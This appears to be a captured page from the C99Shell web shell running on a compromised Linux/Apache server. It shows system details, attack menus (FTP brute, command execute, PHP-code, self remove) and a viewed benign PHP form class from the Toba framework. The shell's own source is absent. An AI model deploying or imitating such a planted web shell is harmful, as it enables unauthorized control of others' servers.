!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_usuarios/php/usuarios/   drwxr-xr-x
Free 14.78 GB of 61.93 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     form_ml_resp_secreta.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class form_ml_resp_secreta extends toba_ei_formulario_ml
{
    
    protected function 
generar_formulario_cuerpo()
    {
        echo 
'<tbody>';            
        if (
$this->_registro_nuevo !== false) {
            
$template = (is_array($this->_registro_nuevo)) ? $this->_registro_nuevo : array();
            
$this->agregar_registro($template);
        }
        
//------ FILAS ------
        
$this->_filas_enviadas = array();
        if (!isset(
$this->_ordenes)) {
            
$this->_ordenes = array();
        }
        
//Se recorre una fila más para insertar una nueva fila 'modelo' para agregar en js
        
if ( $this->_info_formulario['filas_agregar'] && $this->_info_formulario['filas_agregar_online']) {
            
$this->_datos['__fila__'] = array();
            
$this->_ordenes[] = '__fila__';
        }
        
$a 0;        
        foreach (
$this->_ordenes as $fila) {
            
$dato $this->_datos[$fila];
            
//Si la fila es el template ocultarla
            
if ($fila !== '__fila__') {
                
$this->_filas_enviadas[] = $fila;
                
$estilo_fila '';
                
$es_fila_modelo false;
            } else {
                
$estilo_fila "style='display:none;'";
                
$es_fila_modelo true;
            }
            
//Determinar el estilo de la fila
            
if (isset($this->_clave_seleccionada) && $fila == $this->_clave_seleccionada) {
                
$this->estilo_celda_actual 'ei-ml-fila-selec';                
            } else {
                
$this->estilo_celda_actual 'ei-ml-fila';
            }
            
$this->cargar_registro_a_ef($fila$dato);
            
//--- Se cargan las opciones de los efs de esta fila
            
$this->_carga_opciones_ef->cargar();
            
//--- Ventana para poder configurar una fila especifica
            
$callback_configurar_fila_contenedor 'conf_fila__' $this->_parametros['id'];
            if (
method_exists($this->controlador$callback_configurar_fila_contenedor)) {
                
$this->controlador->$callback_configurar_fila_contenedor($fila);
            }            
            
//-- Inicio html de la fila
            
echo "\n<!-- FILA $fila -->\n\n";            
            echo 
"<tr $estilo_fila id='{$this->objeto_js}_fila$fila' onclick='{$this->objeto_js}.seleccionar($fila)'>";
            if (
$this->_info_formulario['filas_numerar']) {
                echo 
"<td class='{$this->estilo_celda_actual} ei-ml-fila-numero'>\n<span id='{$this->objeto_js}_numerofila$fila'>".($a 1);
                echo 
"</span></td>\n";
            }            
            
//--Layout de las filas
            
$this->generar_layout_fila($fila);
            
//--Numeración de las filas
            
if ($this->_info_formulario['filas_ordenar'] && $this->_ordenar_en_linea) {
                echo 
"<td class='{$this->estilo_celda_actual} ei-ml-fila-ordenar'>\n";
                echo 
"<a href='javascript: {$this->objeto_js}.subir_seleccionada();' id='{$this->objeto_js}_subir$fila' style='visibility:hidden' title='Subir la fila'>".
                    
toba_recurso::imagen_toba('nucleo/orden_subir.gif'true).'</a>';
                echo 
"<a href='javascript: {$this->objeto_js}.bajar_seleccionada();' id='{$this->objeto_js}_bajar$fila' style='visibility:hidden' title='Bajar la fila'>".
                    
toba_recurso::imagen_toba('nucleo/orden_bajar.gif'true).'</a>';
                echo 
"</td>\n";
            }            
            
//--Creo los EVENTOS de la FILA
            
$this->generar_eventos_fila($fila);            

            
//-- Borrar a nivel de fila
            
if ($this->_info_formulario['filas_agregar'] && $this->_borrar_en_linea && $es_fila_modelo) {        //Si no es la fila modelo, evito que se pueda eliminar
                
echo "<td class='{$this->estilo_celda_actual} ei-ml-columna-evt ei-ml-fila-borrar'>";
                echo 
toba_form::button_html("{$this->objeto_js}_eliminar$fila"toba_recurso::imagen_toba('borrar.gif'true), 
                                        
"onclick='{$this->objeto_js}.seleccionar($fila);{$this->objeto_js}.eliminar_seleccionada();'"
                                        
$this->_rango_tabs[0]++, null'Elimina la fila');
                echo 
"</td>\n";                                    
            }
            
            echo 
"</tr>\n";
            
$a++;
        }
        echo 
"</tbody>\n";        
    }
    
    
//-----------------------------------------------------------------------------------
    //---- JAVASCRIPT -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function extender_objeto_js()
    {
        echo 
"
        
{$this->objeto_js}.crear_fila = function() 
        {            
            var nuevo_anexado = ei_formulario_ml.prototype.crear_fila.call(this);
            //Tengo que deshabilitar el boton de agregado de filas.
            this.boton_agregar().disabled = true;
        
            return nuevo_anexado;
        };
        
        
{$this->objeto_js}.eliminar_fila = function(fila) 
        {            
            var anterior = ei_formulario_ml.prototype.eliminar_fila.call(this, fila);
            //Tengo que re habilitar el boton de agregado de filas.
            this.boton_agregar().disabled = false;
        
            return anterior;
        };        
        "
;        
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8122 ]--